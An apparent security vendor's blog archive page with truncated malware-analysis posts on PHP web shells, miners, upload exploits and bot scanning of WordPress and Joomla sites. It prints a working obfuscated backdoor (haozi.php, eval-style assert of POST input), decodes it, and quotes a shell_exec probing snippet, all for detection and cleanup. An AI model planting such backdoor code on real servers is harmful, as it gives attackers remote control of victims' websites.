Top

Archive | malware

Cryptonight

This again new malware which we call cryptonight, what we haven’t seen before. It’s downloads executable Linux program and hides that http daemon in background, which is difficult find process list at first glance. Manual remove process You can search if there running process httpd, which start cryptonight parameter: ps aux | grep cryptonight Then […]

Continue Reading

load_all.jar

Today we found Java based malware. If attacker found File Upload vulnerability on the server, then it upload manual.php based malware, which trying load load_all.jar to server and running it background. Manual.php $out = shell_exec(“java -version 2>&1”); preg_match(“/version\s+\”1\.(\d+)\./”,$out,$matches); $ver = 0; if($matches)$ver = (int)$matches[1]; This manual.php uses lot off shell_exec function, but if you have […]

Continue Reading

Proc.php trying injecting header.php files

When this malware successful uploaded customer website and access it GET request, it’s trying search backward files and folder, searching header.php files. indexEditor When all folders and files searched and header.php files founded, it tries the patch malicious code to header.php file. Malicious code In begin this malware have CODE which added wanted file’s: Final […]

Continue Reading

Google site verification – cookie based file upload

Today we found new malware that our signatures not before detected. First look it just like Google site verification code HTML file witch have also meta tags. Also added Robots to prevent index this file google. If someone tries to access this file from the browser, it just looks normal verification code and view source […]

Continue Reading

haozi.php

Our honeybot catch up again new malware, which is very simple but clever. First look this looks nothing, because there are many PHP style comments in code. haozi.php @$_=”s”.”s”./*-/*-*/”e”./*-/*-*/”r”;@$_=/*-/*-*/”a”./*-/*-*/$_./*-/*-*/”t”;@$_/*-/*-*/($/*-/*-*/{“_P”./*-/*-*/”OS”./*-/*-*/”T”}[/*-/*-*/0/*-/*-*/]); If we remove comment’s away, then code look’s like: @$_=”s”.”s”.”e”.”r”;@$_=”a”.$_.”t”;@$_(${“_P”.”OS”.”T”}[0]); Final if we put this more readable, this is Assert POST: @$_=”a”.”s”.”s”.”e”.”r”.”t”;@$_(${“_P”.”OS”.”T”}[0]); Final Decoded haozi.php @assert(${“_POST”}[0]); […]

Continue Reading

cPanel Finder

cPanel Finder/Cracker This cPanel Finder malware look last updated at 01 June 2015, but Malware Signatures not detected this before today added our database. Final words Use Malware Expert – Signatures detect this backdoor malware from files for FREE!

Continue Reading

wp-info.php

In WordPress themes there are lots of file upload vulnerabilities. This trying upload embrace.php file to server and execute it embrace.php wp-info.php This malware can infect more and more malwares to server and get full control it. Final words Websites that using Malware Expert – ModSecurity rules are protected against this attack. Use Malware Expert […]

Continue Reading

proc.php

Again we found new malware, that trying using php shell_exec function to download and include more malware to server. POST Payload This looks like joomla file upload vulnerability: Payload trying upload proc.php file to server and execute it: proc.php p.sh It’s trying download p.sh bash script and execute it. When it executed it remove itself […]

Continue Reading

db.php

This malware try upload db.php to WordPress clickjacking vulnerability. Clickjacking is an attack that places an invisible iframe containing a webpage over top of another, visible webpage. The victim user is lured into clicking on the invisible iframe to perform an action when they think they are clicking on the webpage they can see. The […]

Continue Reading

sql_dump.php – Bot network

Today we looked server’s logs and we found very active Bot network that trying use old malware and upload more PHP code files to servers. Malware files If we look access logs, we found many files which tried access, but they not are normal WordPress, Joomla etc. files. /Abbrevsprl.php /administrator/administrator.php /administrator/dbconfig.php /administrator/includes/readmy.php /administrator/webconfig.txt.php /al277.php /authenticating.php […]

Continue Reading